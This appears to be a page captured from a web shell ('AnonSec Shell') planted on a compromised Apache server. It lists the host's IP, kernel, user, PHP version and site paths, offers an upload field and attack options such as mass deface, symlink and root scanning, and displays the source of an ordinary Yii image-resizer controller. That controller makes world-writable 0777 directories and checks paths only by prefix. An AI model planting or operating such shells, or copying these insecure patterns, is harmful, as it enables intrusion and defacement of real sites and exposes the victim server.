AnonSec Shell

Server IP : 162.19.86.63 / Your IP : 216.73.217.81 [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /var/www/vhosts/oinversion.com/httpdocs/common/modules/resizer/controllers/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/vhosts/oinversion.com/httpdocs/common/modules/resizer/controllers/DefaultController.php

<?php

namespace common\modules\resizer\controllers;

use yii\web\Controller;
use yii\web\HttpException;

/**
 * Default controller for the `resizer` module
 */
class DefaultController extends Controller {

  /**
   * Renders the index view for the module
   * @return string
   */
  public function actionIndex() {
    
    $request=\Yii::$app->request;
    $pathInfo = $request->getPathInfo();
    
    // Split url into parts
    $url_parts= explode("/", $pathInfo);
    
    
    // Get the resize rule name
    $filterName = $url_parts[2];

    // Remove the unnecesary parts from the beggining and recompose the resize_path
    foreach (range(0, 2) as $r) {
      unset($url_parts[$r]);
    }
    $resize_path = implode("/", $url_parts);
    
//    \yii\helpers\VarDumper::dump($url_parts, 10, true);
//    \yii\helpers\VarDumper::dump($resize_path, 10, true);
    
    // Check path is allowed
    if (!$this->resizeCheckAllowedPath($resize_path)) {
      throw new HttpException(500, "Resize path not allowed: {$resize_path}.");
    }

    // Check filter is defined
    $filters = \Yii::$app->getModule('resizer')->filters;
    if (!isset($filters[$filterName])) {
      throw new HttpException(500, "Resize filter not found: {$filterName}.");
    }
    
//    die();
    
    // Check original file exists
    $resize_absolute_path = \Yii::getAlias('@webroot') . "/" . $resize_path;
//    \yii\helpers\VarDumper::dump($resize_absolute_path, 10, true);
    if (!file_exists($resize_absolute_path) && !empty(\Yii::$app->getModule('resizer')->notFound)) {
      $resize_absolute_path = \Yii::getAlias('@webroot') . "/" . \Yii::$app->getModule('resizer')->notFound;
    }
    
//    \yii\helpers\VarDumper::dump($resize_path, 10, true);
//    \yii\helpers\VarDumper::dump($resize_absolute_path, 10, true);
//    
//    die();
    
    if (!file_exists($resize_absolute_path)) {
      throw new HttpException(404, "Not found");
    }

    // Build destination path
    $destination_parts= explode("/", $pathInfo);

    $destination_filename = array_pop($destination_parts);
    
//    \yii\helpers\VarDumper::dump($destination_parts, 10, true);
//    \yii\helpers\VarDumper::dump($destination_filename, 10, true);
//    die();

    $destination_dir = \Yii::getAlias('@webroot');
    foreach ($destination_parts as $part) {
      $destination_dir .= "/{$part}";
      if (!file_exists($destination_dir)) {
        mkdir($destination_dir, 0777);
        chmod($destination_dir, 0777);
      }
//      echo $destination_dir."<br>";
    }
    
//    die('yay');
    
    $extension=$this->getImageExtension($destination_filename);
    
    $filterClass=$filters[$filterName];
    $filter=new $filterClass;
    $filter->run($resize_absolute_path, $destination_dir . "/" . $destination_filename)->show($extension);
    
//    return 'test';

//    // Resize and save picture
//    $image = Yii::app()->image->load($resize_absolute_path);
//    $resize_method = $rules[$filterName];
//    $cmd = "\$image->{$resize_method};";
//    eval($cmd);
//    $image->save($destination_dir . "/" . $destination_filename, 0644, true);
//    $image->render();
//        return $this->render('index');
  }

  private function resizeCheckAllowedPath($resize_path) {
    $allowed_paths = \Yii::$app->getModule('resizer')->allowedPaths;
    
    foreach ($allowed_paths as $path) {
      if (strpos($resize_path, $path) === 0) {
        return true;
      }
    }
    return false;
  }
  
  private function getImageExtension($filename) {
    $extension=array_pop(explode('.',$filename));
    $extension= strtolower($extension);
    if ($extension=='jpeg') {
      $extension='jpg';
    }
    return $extension;
  }

}

Anon7 - 2022
AnonSec Team